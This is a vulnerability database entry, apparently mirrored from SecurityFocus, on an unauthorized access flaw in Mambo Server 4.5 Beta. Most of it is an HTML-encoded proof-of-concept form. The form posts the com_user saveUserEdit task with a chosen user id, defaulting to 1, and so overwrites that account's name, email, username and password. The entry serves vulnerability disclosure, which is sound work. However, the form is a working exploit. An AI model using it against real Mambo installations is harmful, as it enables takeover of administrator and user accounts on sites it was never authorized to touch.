Mambo 4.5 Server user.php Script Unauthorized Access Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Mambo 4.5 Server Unauthorized Access Vulnerabilit


                                                source: http://www.securityfocus.com/bid/9193/info

It has been reported that Mambo Server may be prone to an unauthorized access vulnerability that may allow an attacker to modify a user and/or an administrator&#39;s information such as password, email, name etc, after supplying a legitimate user id.

Mambo Server version 4.5 Beta 1.0.3 has been reported to be vulnerable to this issue, however other versions could be affected as well. 

&#60;html&#62;
&#60;head&#62;&#60;/head&#62;
&#60;body&#62;
&#60;form action=&#34;http://www.example.com/index.php&#34; method=&#34;post&#34;&#62;
New Name : &#60;inputtype=&#34;text&#34; name=&#34;name&#34; value=&#34;&#34;&#62;&#60;br&#62;
New E-mail : &#60;input type=&#34;text&#34; name=&#34;email&#34; value=&#34;&#34; size=&#34;30&#34;&#62;&#60;br&#62;
New UserName : &#60;input type=&#34;text&#34; name=&#34;username&#34; value=&#34;&#34;&#62;&#60;br&#62;
New Password : &#60;input type=&#34;password&#34; name=&#34;password&#34; value=&#34;&#34;&#62;&#60;br&#62;
Verfiy New Pass : &#60;input type=&#34;password&#34; name=&#34;verifyPass&#34;&#62;&#60;br&#62;
ID : &#60;input type=&#34;text&#34; name=&#34;id&#34; value=&#34;1&#34;&#62;&#60;br&#62;
&#60;input type=&#34;hidden&#34; name=&#34;option&#34; value=&#34;com_user&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;task&#34; value=&#34;saveUserEdit&#34;&#62;
&#60;input type=&#34;submit&#34; name=&#34;submit&#34; value=&#34;Update&#34;&#62;&#60;br&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1